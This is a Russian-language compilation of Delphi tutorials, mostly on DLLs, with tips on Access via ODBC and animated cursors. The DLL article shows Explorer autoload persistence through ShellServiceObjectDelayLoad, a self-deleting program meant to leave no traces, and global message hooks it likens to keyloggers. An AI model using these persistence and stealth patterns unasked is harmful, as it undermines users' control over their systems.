exe-файлы, спросите вы. Отвечу,- основной смысл dll состоит в том, что ваши приложения могут загружать и обрабатывать код из библиотеки в процессе работы, а не на этапе сборки. ). Аббревиатура DLL говорит сама за себя – Dynamic Linked Library, ДИНАМИЧЕСКИ компонуемая библиотека. По структуре своей dll схожа с exe файлами, но когда ваша программа использует некую dll, другая программа тоже может использовать эту же dll, при этом в памяти будет физически загружена только одна копия используемой библиотеки, а адресное пространство, выделенное вашей программе будет содержать образ/слепок/mеmоrу-mapped_filе/экземпляр загруженной библиотеки. Не стоит забывать, что процессу, загрузившему dll, доступны функции явно предоставляемые самой dll для «внешнего мира» - т.е. exports ф-ии. Так... теперь пару слов о способах загрузки dll. Не секрет, что существует два способа загрузки библиотек: статический и динамический (в литературе можно встретить названия - явный и неявный, но я предпочитаю придерживаться борландовской терминологии). Статический используется, как правило тогда, когда в вашей библиотеке небольшое количество ф-ий и процедур, которые вы наверняка собираетесь использовать в вашей программе. Если же ваша библиотека содержит большое количество процедур/функций или процедуры, вызываемые вами, используются вашей программой не часто (к примеру, имеет место сложная обработка графического изображения), то в данном случае целесообразнее использовать динамическую загрузку, дабы не загромождать память. К минусам статической загрузки можно отнести тот факт, что если при попытке вашей программы загрузить dll эта библиотека не будет найдена - вы получите ошибку, а программа просто-напросто не запустится. Если вы используете динамическую загрузку, то программа запустится в любом случае, но в момент, когда вы попробуете использовать функцию из отсутствующей dll, возникнет исключение, которое можно программно обработать и продолжить выполнение программы.Статическая загрузка
... implementation function ShowMyDialog(Msg: PChar): Boolean; stdcall; external 'project1.dll'; procedure SetValue(); cdecl; external 'some.dll'; ...Тут, кажется не должно быть никаких неясностей - указываем название ф-ии или процедуры, параметры, возвращаемый тип (для ф-ии), способ передачи аргументов: stdcall - используется при вызовах WinAPI ф-ий (передача параметров справа на лево), cdecl - при использовании dll, написанных на C++ ; есть ещё некоторые соглашения о вызовах о которых предлагаю вам почитать в справочной системе Delphi. Важно помнить, что если при разработке dll использовалось соглашение stdcall, то и при её вызове должно использоваться тоже stdcall ! Директива external указывает на местоположение библиотеки из которой вы хотите экспортировать ф-ию.
Динамическая загрузка:
...
uses
...
type
{ определяем процедурный тип, отражающий экспортируемую процедуру или ф-ию }
TMyProcType = procedure(flag: Boolean); stdcall;
TMyFuncType = function(Msg: PChar): Boolean; cdecl;
{ эту операцию можно сделать непосредственно в разделе var процедуры,
в которой вы будите загружать dll }
...
procedure TForm1.Button1Click(Sender: TObject);
var
SetValue: TMyProcType; { объявляем переменные процедурного типа}
ShowDialog: TMyFuncType;
// или можно было сделать так (в таком случае type... не нужен):
// SetValue: procedure (flag : Boolean); stdcall;
// ShowDialog: function (Msg: PChar): Boolean; cdecl;
Handle01, Handle02: HWND; { дескрипторы, загружаемых библиотек }
begin
Handle01 := LoadLibrary(PChar('project1.dll')); { загрузка dll }
try
@ShowDialog := GetProcAddress(Handle01, 'ShowMyDialog');
{ получаем указатель на необходимую процедуру}
ShowDialog(PChar('Dll function is working !!!')); { используем ф-ию }
except
ShowMessage('Ошибка при попытке использовать dll !');
finally
FreeLibrary(Handle01); { выгружаем dll }
end; { try }
end;
end.
Аналогично и с процедурой SetValue();
Из всего вышесказанного необходимо понять, что при статической загрузке экспортируемая вами dll находится в памяти с момента запуска прогарммы вплоть до Application.Terminate и вам, как программисту, не надо следить за процессом освобождения памяти из под вашей dll; при динамической загрузке вы сами в любом месте программы загружаете dll, но и сами же должны следить за её выгрузкой. Если при динамическом способе загрузки вы самостоятельно, с помощью функции FreeLibrary, не выгрузите dll из памяти, то она будет находиться в адресном постранстве процесса, загруженного из вашей программы вплоть до его, процесса, уничтожения, но в момент завершения работы программы память из под библиотеки будет освобождена, т.к. сама dll может находиться только в адресном пространстве загрузившего её процесса, но никогда сама по себе !
Итак, считаем, что с ликбезом покончено. Для чего нужны и как устроены динамически компануемые библиотеки можно прочитать у Тайксейры - там вся теория дана в лучшем виде. Совсем неопытным в написании библиотек, а так же начинающим программистам - настоятельно рекомендую ознакомиться с общими принципами создания dll, описанными в статье Использование и создание DLL в Delphi. Статьи Королевства по теме. Для тех кто предпочитает C++ рекомендую прочитать статью Криса Касперски. После ознакомления - обязательно возвращайтесь ;)
Ну а теперь, пожалуй, приступим к самой теме данной статьи, а конкретнее к примерам применения и разъяснению этих примеров в меру авторской компетенции ;)
Содержание:
Регистрация dll в системе ( или как бы нам, воспользовавшись особенностями приложения Explorer.exe, заставить его загрузить нашу библиотеку в его адресное пространство). Размещение модальных форм в dll. Размещение "готовых" файловых образов библиотек в EXE-файле с последующим их извлечением и использованием. Как в своих dll использовать процедуры и ф-ии, находящиеся в других библиотеках. Удаление программы "во время исполнения". Ловушки в dll. Регистрация dll в системе ( или как бы нам, воспользовавшись особенностями приложения Explorer.exe, заставить его загрузить нашу библиотеку в его адресное пространство) Часто возникают вопросы такого типа: "Как мне зарегистрировать свою dll в системе ? Как загрузить свою dll при загрузке компьютера ?" Для регистрации вашей dll в системе, необходимо: в HKEY_CLASSES_ROOT\CLSID задать новый идентификатор класса (GUID). в HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad создать раздел InProcServer32 и в значение этого раздела записать путь к вашей dll, которая должна грузиться при загрузке Windows. создать строковый параметр MyDllLoad со значением, равным определённому нами GUID. Вот собственно и всё - теперь explorer, при каждом входе в систему, будет грузить вашу библиотеку ( ВНИМАНИЕ !!! при таком способе регистрации загруженная dll не будет выгружаться из памяти до тех пор, пока процесс Explorer’а будет существовать хотя бы в одном экземпляре !)Реализация данного способа имеет следующий вид:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
registry;
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
reg: Tregistry;
begin
reg := Tregistry.create;
reg.rootkey := HKEY_CLASSES_ROOT;
{Теперь настала пора создать идентификатор для нашей библиотеки.
Идентификатор класса - это глобальный уникальный идентификатор,
состоящий из шеснадцатиричных цифр. В него входят метка времени создания
и адрес платы сетевого интерфейса, попросту говоря MAC, или фиктивный адрес
платы при отсутствии оной в вашем компьютере 8) Получить этот идентификатор
можно двумя путями:
1). в Delphi, в любом месте редактора кода нажать Ctrl-Shift-G .
2). или воспользоваться API функцией CoCreateGUID();}
try
reg.openkey('CLSID\{69502F20-E8CD-11D5-A784-0050BF44BD3B}\InProcServer32',
true);
reg.writestring('', 'C:\TEMP\MyDll.dll');
reg.closekey;
reg.rootkey := HKEY_LOCAL_MACHINE;
reg.openkey('Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad', true);
reg.writestring('MyDllLoade', '{69502F20-E8CD-11D5-A784-0050BF44BD3B}');
reg.closekey;
finally
reg.free;
end; {try}
end;
end.
Размещение модальных форм в dll
Этот вопрос не представляется сколь-нибудь интересным и поэтому я буду предельно краток. Делаете New-> DLL, затем New-> Form, накидываем туда всё что душе пожелает и поехали:
library ModelF;
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls,
Unit1 in 'Unit1.pas' {Form1};
function ShowMyDialog(Msg: PChar): Boolean; stdcall;
begin
{Создаем экземпляр Form1 формы TForm1}
Form1 := TForm1.Create(Application);
{В Label1 выводим сообщение Msg}
Form1.Label1.Caption := StrPas(Msg);
{Возвращаем True если нажата OK (ModalResult = mrOk)}
Result := (Form1.ShowModal = mrOk);
Form1.Free;
end;
exports ShowMyDialog;
begin
end.
И сам проект, содержащий вызывающий DLL код:
unit main2;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
function ShowMyDialog(Msg: PChar): Boolean; stdcall; external 'project1.dll';
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
if ShowMyDialog(PChar('Work !!!')) = TRUE then
ShowMessage('TRUE !')
else
ShowMessage('FALSE !');
end;
end.
Размещение "готовых" файловых образов библиотек в EXE-файле с последующим их извлечением и использованием.
Представим такую ситуацию: ваша программа использует несколько dll-ок, не вами написанных, и у вас нет их исходного кода (т.е. непосредственно код процедур и функций, вами используемых в своей программе, вам не доступен), а вам ну просто "противопоказано" показывать эти библиотеке пользователю (мало ли - забудет он их переписать вместе с программой, у dll файлов как правило атрибуты невидимости стоят; или ещё какая-нибудь причина на то имеется - мало ли ;) В таком случае предлагается сделать следующее: поместить все используемые библиотеки непосредственно в код программы, как это делается с ресурсами, а затем, при запуске программы записывать их куда-либо на диск, использовать и, к примеру, если в этом есть необходимость - стирать при окончании работы программы. Вы можете сказать, что в таком случае сам exe файл увеличится в размерах и что можно использовать ф-ии библиотек, размещённых в exe файле без переноса их на диск. На это можно ответить только одно - всё это конечно так, но ведь цель данной статьи наметить подходы к решению проблем, которые могут возникнуть при решении тех или иных задач, а отнюдь не дать готовые рецепты для какого-то конкретного случая... Итак приступим:
1). открываем самый мощный текстовый редактор - Блокнот и начинаем ваять :
MYDLL RCDATA mydll.dllЗаписываем всё это как Lib.rc
2). Теперь для получения файла-ресурсов компилируем получившийся у нас Lib.rc :
brcc32.exe Lib.rc3). Получили Lib.res, который необходимо прикрепить к нашему проекту, для этого используем директиву {$R Lib.res}
Нижеследующий код иллюстрирует как можно прикрепить *.res файл к проекту и извлечь его при необходимости:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}{$R Lib.RES}
procedure TForm1.Button1Click(Sender: TObject);
var
MyDll1: TResourceStream;
begin
MyDll1 := TResourceStream.Create(hInstance, 'MYDLL', RT_RCDATA);
try
MyDll1.SaveToFile('duck.dll');
finally
MyDll1.Free;
end; {try}
end;
end.
В результате сборки получим EXE-файл. При нажатии на кнопку формы будет создан файл duck.dll в той же директории, из которой была запущена программа (помните, что если dll-файлы в вашей системе имеют атрибут скрытых,- созданный duck.dll тоже будет невидимым).
Как в своих dll использовать процедуры и ф-ии,
находящиеся в других библиотеках
Не так давно один многообещающий ребёнок задал мне такой вопрос - "что можно предпринять, если моя программа статически грузит большое количество библиотек, и эти библиотеки тоже используют ф-ии, экспортируемые из других dll-ок, при этом мне не хотелось бы каждый раз прописывать их в главном модуле своей программы, загромождая код."
Для ответа на этот вопрос необходимо помнить, что связь между вызываемой ф-ией и её исполняемым кодом устанавливается во время выполнения приложения путём использования ссылки на конкретную ф-ию dll и при этом не важно, будут ли эти ссылки объявлены в самом приложении или в каком-то внешнем модуле. К примеру, посмотрите как выглядит файл windows.pas,- ближе к концу файла вы можете увидеть каким образом вызываются различные ф-ии из библиотеки advapi32.dll .
Итак, создаём новый unit и объявляем импортируемые ф-ии и процедуры и определяем все необходимые типы для ваших dll. К примеру, если у вас есть три библиотеки: 001.dll, 002.dll, 003.dll и в них находятся n-ое кол-во ф-ий и процедур, которые вы намереваетесь использовать в своей программе, то создаём новый unit и... :
unit gather_it; interface function MyFunc001(i: integer): PChar; procedure MyProc002(); function MyFunc003(): Integer; // .......................... procedure Something(); implementation function MyFunc001; external '001.dll'; procedure MyProc002; external '002.dll'; function MyFunc003; external '003.dll'; // .......................... procedure Something; external 'some_other.dll'; end.Как видно из этого примера - в этом unit-е нигде нет реализаций самих ф-ий, а лишь указания на то где эти ф-ии находятся. Для использования данного модуля просто прописываем его название (unit gather_it) в раздел uses того модуля в котором предполагается использовать описанные в unit gather_it ф-ии и процедуры. Удаление программы "во время исполнения" В название этого раздела вынесен вопрос, который ну если не каждую неделю задаётся в любом форуме, посвящённом программированию, то по крайней мере очень часто. Бывают моменты в жизни каждого программиста, когда надо сделать что-то быстро, не привлекая особого внимания, не оставляя явных следов и не травмируя нежную психику пользователя :) Я не буду говорить про ring0 и про реализацию всего этого на asm-е,- нет, мы пойдём другим путём... 8) К примеру нам надо добиться того, что бы наша программа при запуске без всяких проволочек стирала себя физически с винта, при этом продолжая выполнять какой-то код. В лоб это сделать не получится, но что мешает исполнить необходимый нам код в контексте какого либо постороннего потока ? В таком случае запущенный нами перед закрытием нашего процесса (в нашем случае процесса, загруженного из нашего exe-файла) код сможет удалить нужный нам файл, потому что данный код будет выполняться в адресном пространстве постороннего потока. Может объяснение не очень удачное, но посмотрев на реализацию всего этого всё станет предельно ясно. Вот алгоритм того, о чём я так долго распылялся: (это один из способов, наверняка не самый элегантный, но я не отступаю от темы статьи и упорно продолжаю совать эти грешные dll куда ни поподя :) Извлечь из нашего exe модуля заранее помещённую туда dll (это мы уже умеем) и записать эту dll в любое место диска. Загрузить dll в адресное пространство НЕнашего потока и выполнить процедуру из этой библиотеки, которая сотрёт исходный файл.
Сделать это можно, используя rundll32.exe примерно следующим образом: - для начала напишем небольшую библиотеку:
// ************************ DLL ************************
library test1;
uses
Windows;
procedure test(); stdcall;
begin
//Sleep(5); {можно задерживать выполнение кода при необходимости 8}
DeleteFile(PChar('D:\Project1.exe'));
{
ВНИМАНИЕ, до тех пор, пока выполняющийся процесс, загруженный из Project1.exe,
не выполнит команду FreeLibrary(собственный экземпляр) в Win9x/Me либо UnmapViewOfFile в
NT/W2k, вы будете получать ошибку. Связанно это с тем, что эти вызовы ни в том ни в другом виде не
вставляются автоматически компилятором Делфи в эпилог приложения.
Вместо этого после выполнения эпилогом приложения вызова ExitProcess() ОС автоматически разорвет связь
между процессом и файлом, вызвав ту или иную из вышеуказанных API-ф-ций.
}
FreeLibrary(GetModuleHandle(nil));
end;
exports test;
begin
// MessageBox(Handle, 'Library loaded !', 'Yeh... !!!', 0);
end.
// ************************ DLL ************************
Ну а та часть exe файла, которая отвечает за загрузку dll может выглядеть так:
... procedure TForm1.Button1Click(Sender: TObject); begin ShellExecute(0, nil, 'rundll32.exe', ' test1.dll,test', nil, SW_ShowNormal); Close; end; ...Заметьте, что в нашей программе мы нигде саму библиотеку не загружаем. rundll32.exe запускается следующим образом: rundll32.exe имя_dll, имя_процедуры, параметры. Таким образом в процедуру test мы можем передавать, к примеру, путь к файлу, который нужно стереть (не забывайте, что String не применим в случае если не используется юнит ShareMem, и надо использовать PChar). Из примера видно, что при запуске Project1.exe из корневого каталога диска D:\ и нажатии на Button1, rundll32 загрузит библиотеку test.dll (если она тоже лежит в корне диска D:\), выполнит процедуру test, которая удалит Project1.exe и освободит память. Кстати, загружаемую dll не видит ни TaskManager ни WinSight32 (это конечно не значит, что таким образом можно скрыть dll от NtQuerySystemInformation в NT или CreateToolhelp32Snapshot в Win9x !). Если общий подход ясен и у вас есть воображение, то можно добиться интересных результатов ;)
Теперь поговорим о так называемых ловушках (hooks). Тех, кто вообще не имеет представления о понятии hook-а в Windows-кой интерпретации, я опять же отсылаю к научно-популярной литературе, потому что подробно объяснять механизм работы hook-ов я не буду (т.к. эта тема выходит за рамки данной статьи), но из ниже приведённого кода и комментариев к нему, думаю, будет многое понятно для тех, кто знаком с термином hook, но кому не приходилось самому их программировать. От слов к делу. Сначала напишем основную часть кода - dll, в котором будем устанавливать и снимать hook-и, а так же обрабатывать полученные сообщения:
library hook_dll;
uses Windows, Messages;
var
SysHook: HHook = 0;
Wnd: Hwnd = 0;
{ данная ф-ия вызывается системой каждый раз, когда возникает какое-то событие в
dialog box-е, message box-е, menu, или scroll bar-е}
function SysMsgProc(code: integer; wParam: word; lParam: longint): longint;
stdcall;
begin
{ Передаём сообщение дальше по цепочке hook-ов. }
CallNextHookEx(SysHook, Code, wParam, lParam);
{ флаг code определяет тип произошедшего события. }
if code = HC_ACTION then
begin
{ В wnd кладу дескриптор того окна, которое сгенерировало сообщение.}
Wnd := TMsg(Pointer(lParam)^).hwnd;
{ Проверяю, нажата ли правая кнопка мыши}
if TMsg(Pointer(lParam)^).message = WM_RBUTTONDOWN then
begin
{ Раскрываю окно на всю клиентскую область.}
ShowWindow(wnd, SW_MAXIMIZE);
{ Вывожу сообщение.}
MessageBox(0, 'HOOK is working !', 'Message', 0);
end;
end;
end;
{ Процедура установки HOOK-а}
procedure hook(switch: Boolean) export; stdcall;
begin
if switch = true then
begin
{ Устанавливаю HOOK, если он не установлен (switch=true). }
SysHook := SetWindowsHookEx(WH_GETMESSAGE, @SysMsgProc, HInstance, 0);
{ тут: WH_GETMESSAGE - тип hook-а ; @SysMsgProc - адрес процедуры обработки ;
HInstance - указывает на DLL, содержащую процедуру обработки hook-а; последний
параметр указывает на thread, с которым ассоциирована процедура обработки hook-а;
}
MessageBox(0, 'HOOK установлен !', 'Сообщение из DLL', 0);
end
else
begin
{ Снимаю HOOK, если он установлен (switch=false). }
UnhookWindowsHookEx(SysHook);
MessageBox(0, 'HOOK снят !', 'Сообщение из DLL', 0);
SysHook := 0;
end;
end;
exports hook;
begin
//MessageBox(0, 'MESSAGE FROM DLL - loaded !', 'Message', 0);
end.
Так... с этим покончили; теперь код модуля, откуда будем вызывать нашу процедуру hook (для разнообразия буду использовать "динамическую" загрузку dll):
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
{для динамической загрузки dll}
type
MyProcType = procedure(flag: Boolean); stdcall;
{*****************************}
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
Hdll: HWND; { дескриптор загружаемой dll-ки (для динамической загрузки)}
implementation
{ раскоментируйте эту строку для статической загрузки }
//procedure hook(state: boolean); stdcall; external 'hook_dll.dll';
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
hook: MyProcType; {для динамической загрузки}
begin
{ раскоментируйте эту строку для статической загрузки }
//hook(true);
{ ********* динамическая загрузка **************}
Hdll := LoadLibrary(PChar('hook_dll.dll')); { загрузка dll }
if Hdll > HINSTANCE_ERROR then { если всё без ошибок, то }
@hook := GetProcAddress(Hdll, 'hook')
{ получаем указатель на необходимую процедуру}
else
ShowMessage('Ошибка при загрузке dll !');
{ **********************************************}
hook(true);
Button2.Enabled := True;
Button1.Enabled := False;
end;
procedure TForm1.Button2Click(Sender: TObject);
var
hook: MyProcType; {для динамической загрузки}
begin
{ раскоментируйте эту строку для статической загрузки }
//hook(false);
{ ********* динамическая загрузка **************}
hook := GetProcAddress(Hdll, 'hook');
{ получаем указатель на необходимую процедуру}
{ **********************************************}
hook(false); { обращение к процедуре }
Button1.Enabled := True;
Button2.Enabled := False;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
FreeLibrary(Hdll); { при закрытии формы - выгружаем dll }
end;
end.
Как видно из примера - после установки hook-а, при нажатии правой кнопки мыши на элементах dialog box-а, message box-а и menu, то окно (окно в Windows понимании ;), над которым был произведён клик - займёт всю клиентскую область.
Кстати говоря, почти все клавиатурные шпионы работают примерно по тому же принципу - устанавливают hook на события клавиатуры, и пишут себе в файлик на диске всё, что пользователь набирает. Но надо понимать, что hook может быть поставлен не только из dll, но и из обычного приложения.
На этом, пожалуй, и остановимся... Все предложения, пожелания, нарекания и т.д. присылайте мне, т.е. автору :)
Все примеры опробованы и работают под Win98 (на NT не пробовал).
Алексей Павлов The adviser: - Digitman Special thanks to: - Fellomena.
Uses в DLL.
...синтаксис для DLL должен быть немного другим. Вот как нужно правильно делать: Вам необходимо, по крайней мере, два файла -- библиотечный файл и файл с исходным кодом:Библиотечный файл: mylib.dpr.
library MyLib; uses MyCode in 'MYCODE.PAS'; exports MyFunc index 1; begin end. |
Файл с исходным кодом: mycode.pas.
unit MyCode; interface function MyFunc( MyParam: string ): string; export; implementation function MyFunc( MyParam: string ): string; begin Result := 'Это просто пример!'; end; end. |
Совет написан по мотивам книги Delphi Developer's Guide, изданной издательством Borland Press/Sams Publishing.
Использование таблиц Access.
Может кто-нибудь, предпочтительно из персонала Borland, ПОЖАЛУЙСТА, дать мне ПОЛНЫЙ рассказ о том, как с помощью Delphi и сопутствующего программного обеспечения получить доступ и работать с базами данных MS Access. Среди прочего, мне необходимо узнать... Нижеследующая инструкция в точности повторяет ту технологию, с которой я работаю на данный момент, надеюсь, что это поможет. Драйвер ODBC, предусмотренный для доступа к Access 2.0, разработан только для работы в пределах среды Microsoft Office. Для работы со связкой ODBC/Access в Delphi, вам необходим Microsoft ODBC Desktop Driver kit, part# 273-054-030, доступный через Microsoft Direct за $10.25US (если вы живете не в США, воспользуйтесь службой WINEXT). Он также доступен в январском выпуске MSDN, Level 2 (Development Platform) CD4 \ODBC\X86 как часть ODBC 2.1 SDK. Имейте в виду, что смена драйверов (в частности Desktop Drivers) может негативно сказаться на работе других приложений Microsoft. Для информации (и замечаний) обращайтесь в форум WINEXT. Также вам необходимы следующие файлы ODBC:Минимум: ODBC.DLL 03.10.1994, Версия 2.00.1510 ODBCINST.DLL 03.10.1994, Версия 2.00.1510 ODBCINST.HLP 11.08.1993 ODBCADM.EXE 11.08.1993, Версия 1.02.3129 Рекомендуется: ODBC.DLL 12.07.1994, Версия 2.10.2401 ODBCINST.DLL 12.07.1994, Версия 2.10.2401 ODBCINST.HLP 12.07.1994 ODBCADM.EXE 12.07.1994, Версия 2.10.2309Нижеследующие шаги приведут вас к искомой цели: Используя администратора ODBC, установите источник данных (datasource) для вашей базы данных. Не забудьте задать путь к вашему mdb-файлу. Для нашего примера создайте источник с именем MYDSN. Загрузите утилиту BDE Configuration. Выберите пункт "New Driver". Назначьте драйверу имя (в нашем случае ODBC_MYDSN). В выпадающем списке драйверов выберите "Microsoft Access Driver (*.mdb) В выпадающем списке имен выберите MYDSN Перейдите на страницу "Alias" (псевдонимы). Выберите "New Alias" (новый псевдоним). Введите MYDSN в поле имени. Для Alias Type (тип псевдонима) выберите ODBC_MYDSN. На форме Delphi разместите компоненты DataSource, Table, и DBGrid. Установите DBGrid1.DataSource на DataSource1. Установите DataSource1.DataSet на Table1. Установите Table1.DatabaseName на MYDSN. В свойстве TableName компонента Table1 щелкните на стрелочку "вниз" и вы увидите диалог "Login". Нажмите OK и после короткой паузы вы увидите список всех имен ваших таблиц. Выберите одно. Установите свойство Active Table1 в True и данные вашей таблицы появятся в табличной сетке.
Использование таблиц Access2.
Автор: Ralph Friedman Можно ли как-то в Delphi работать с файлами Microsoft Access? Я слышал что некоторые программисты пробовали, но у них ничего не получилось. Из приложений Delphi вы можете получить доступ к .MDB-файлам Microsoft Access, используя драйверы ODBC. Delphi действительно может дать все необходимое, но некоторые вещи не столь очевидные. Вот шаги для достижения вашей цели. Что вам нужно: Первое: проверьте, установлен ли ODBC Administrator (файл ODBCADM.EXE в WINDOWS\SYSTEM, вам также необходим файл DBCINST.DLL для установки новых драйверов и ODBC.DLL). Администратор ODBC должен присутствовать в Панели Управления в виде иконки ODBC. Если у вас его не было, то после установки Delphi он должен появиться. Если вы получаете сообщение типа "Your ODBC is not up-to-date IDAPI needs ODBC greater then 2.0", у вас имеется старая версия администратора и вы должны обновить ее до версии, включенной в поставку Delphi. Проверьте, имеете ли вы доступ к драйверу Access ODBC, установленному в Windows. Вы можете сделать это, щелкнув на "Drivers" в диалоговом окне "Data Sources", появляющемся при запуске ODBC Administrator. Delphi должна в диалоге добавить пункты Access Files (*.mdb) и Access Data (*.mdb), работающие с файлами Access 1.10 и использующие драйвер SIMBA.DLL (имейте в виду, что для данного DLL необходимы также файлы RED110.DLL и SIMADMIN.DLL, устанавливаемые для вас Delphi). Данные файлы должны поставляться с дистрибутивом вашей программы как часть ReportSmith Runtime библиотеки. Если вы хотите работать с файлами Access 2.0 или 2.5, вам необходимо иметь другой набор драйверов от Microsoft. Ключевой файл - MSAJT200.DLL, также необходимы файлы MSJETERR.DLL и MSJETINT.DLL. В США набор ODBC Desktop Drivers, Version 2.0. стоит $10.25. Он также доступен в январском выпуске MSDN, Level 2 (Development Platform) CD4 \ODBC\X86 как часть ODBC 2.1 SDK. Очевидно есть обновление этих драйверов для файлов Access 2.5 на форуме MSACCESS CompuServe. Имейте в виду, что драйвер Access ODBC, поставляемый с некоторыми приложениями Microsoft (например, MS Office) могут использоваться только другими MS-приложениями. К сожалению, они могут сыграть с вами злую шутку: сначала заработать, а потом отказать в совершенно неподходящий момент! Поэтому не обращайте внимания (запретите себе обращать внимание!) на строчку "Access 2.0 for MS Office (*.mdb)" в списке драйверов ODBC Administrator. Вы можете установить новые ODBC драйверы с помощью ODBC Administrator в Панели Управления. Добавление источника данных ODBC (Data Source): если у вас имеются все необходимые файлы, можете начинать. Представленный здесь пример использует драйвер Access 1.10, обеспечиваемый Delphi. Используя ODBC Administrator, установите источник данных для ваших файлов Access: щелчок на кнопке "Add" в окне "data sources" выведет диалог "Add Data Source", выберите Access Files (*.mdb) (или что-либо подходящее, в зависимости от установленных драйверов). В диалоге "ODBC Microsoft Access Setup" необходимо ввести имя в поле "Data Source Name". В данном примере мы используем "My Test". Введите описание "Data Source" в поле Description. Щелкните на "Select Database" для открытия диалога "Select Database". Перейдите в директорию, где хранятся ваши Access .MDB-файлы и выберите один. Мы выберем файл TEST.MDB в директории C:\DELPROJ\ACCESS. Нажмите OK в диалоге "Setup". Теперь в списке источников данных (Data Sources) должен появиться "My Test" (Access Files *.mdb). Нажмите Close для выхода из ODBC Administrator. Используя этот метод, вы можете установить и другие, необходимые вам, источники данных. Настройка Borland Database Engine: загрузите теперь Borland Database Engine (BDE) Configuration Utility. На странице "Drivers" щелкните на кнопке New ODBC Driver. Имейте в виду, что это добавит драйвер Access в BDE и полностью отдельное управление дополнительно к драйверам Access в Windows, устанавливаемым при помощи ODBC Administrator. В открывшемся диалоге Add ODBC Driver в верхнем поле редактировании введите ACCESS (или что-то типа этого). BDE автоматически добавит на первое место ODBC_. В combobox, расположенном немного ниже, выберите Access Files (*.mdb). Выберите Data Source в следующем combobox (Default Data Source Name), это должен быть источник данных, который вы установили с помощью ODBC Administration Utility. Здесь можно не беспокоиться о вашем выборе, поскольку позднее это можно изменить (позже вы узнаете как это можно сделать). Нажмите OK. После установки драйвера BDE, вы можете использовать его более чем с одним источником данных ODBC, применяя различные псевдонимы (Alias) для каждого ODBC Data Source. Для установки псевдонима переключитесь на страницу "Aliases" и нажмите на кнопку "New Alias". В диалоговом окне "Add New Alias" введите необходимое имя псевдонима в поле "Alias Name". В нашем примере мы используем MY_TEST (не забывайте, что пробелы в псевдониме недопустимы). В combobox Alias Type выберите имя ODBC-драйвера, который вы только что создали (в нашем случае ODBC_ACCESS). Нажмите OK. Если вы имеете более одного ODBC Data Source, измените параметр ODBC DSN ("DSN" = "Data Source Name") в списке "Parameters" псевдонима на подходящий источник данных ODBC Data Source, как установлено в ODBC Administrator. Имейте в виду, что вы не должны ничего добавлять в параметр Path (путь), так как ODBC Data Source уже имеет эту информацию. Если вы добавляете параметр Path, убедитесь, что путь правильный, в противном случае ничего работать не будет! Теперь сохраните конфигурацию BDE, выбирая пункты меню File|Save, и выходите из Database Engine Configuration Utility. В Delphi: Создайте новый проект и расположите на форме компоненты Table и DataSource из вкладки Data Access палитры компонентов. Затем из вкладки Data Controls выберите компонент DBGrid и также расположите его на форме. В Table, в Инспекторе Объектов, назначьте свойству DatabaseName псевдоним MY_TEST, установленный нами в BDE Configuration Utility. Теперь спуститесь ниже и раскройте список TableName. Вас попросят зарегистрироваться в базе данных Access MY_TEST. Обратите внимание, что если бюджет не установлен, то User Name и Password можно не заполнять, просто нажмите на кнопку OK. После некоторой паузы раскроется список, содержащий доступные таблицы для ODBC Data Source указанного псевдонима BDE. Выберите TEST. В DataSource, в Инспекторе Объектов, назначьте свойству DataSet таблицу Table1. В DBGrid, также в Инспекторе Объектов, назначьте свойству DataSource значение DataSource1. Возвратитесь к таблице, и в том же Инспекторе Объектов установите свойство Active в True. Данные из таблицы TEST отобразятся в табличной сетке. Это все! Одну вещь все-таки стоит упомянуть: если вы создаете приложение, использующее таблицы Access и запускаете его из-под Delphi IDE, то при попытке изменения данных в таблице(ах) вы получите ошибку. Если же вы запустите скомпилированный .EXE-файл вне Delphi (предварительно Delphi закрыв), то все будет ОК. Сообщения об ошибках ODBC, к несчастью, очень туманные и бывает достаточно трудно понять его источник в вашем приложении, в этом случае проверьте установку ODBC Administrator и BDE Configuration Utility, они также могут помочь понять источник ошибки. Для получения дополнительной информации обратитесь к ODBC 2.0 Programmer's Reference или SDK Guide от Microsoft Press (ISBN 1-55615-658-8, цена в США составляет $24.95). В этом документе вы получите исчерпывающую информацию о возможных ошибках при использовании Access-файлов посредством ODBC. Также здесь вы можете найти рапорты пользователей о найденных ошибках, в том числе и при использовании Delphi. Более того, я выяснил, что большинство описанных проблем возникает при неправильных настройках ODBC, т.е. те шаги, которые я описал выше. Надеюсь, что с развитием технологии доступа к базам данных такие сложности уйдут в прошлое. Кроме того, имейте в виду, что если вам необходимо создать новую таблицу Access 1.10, вы можете воспользоваться Database Desktop, включаемый в поставку Delphi.Авторы данной технологии Ralph Friedman (CompuServe 100064,3102), Bob Swart и Chris Frizelle.
Использование анимированных курсоров.
| Автор: Nomadic |
| - В винде без мышки, чувствуешь себя скалолазом без снаряжения! |
const
crMyCursor = 1;
procedure TForm1.FormCreate(Sender: TObject);
begin
// Загружаем курсор. Единственный способ для этого
Screen.Cursors[crMyCursor] :=
LoadCursorFromFile('c:\mystuff\mycursor.ani');
// Используем курсор на форме
Cursor := crMyCursor;
end;
|
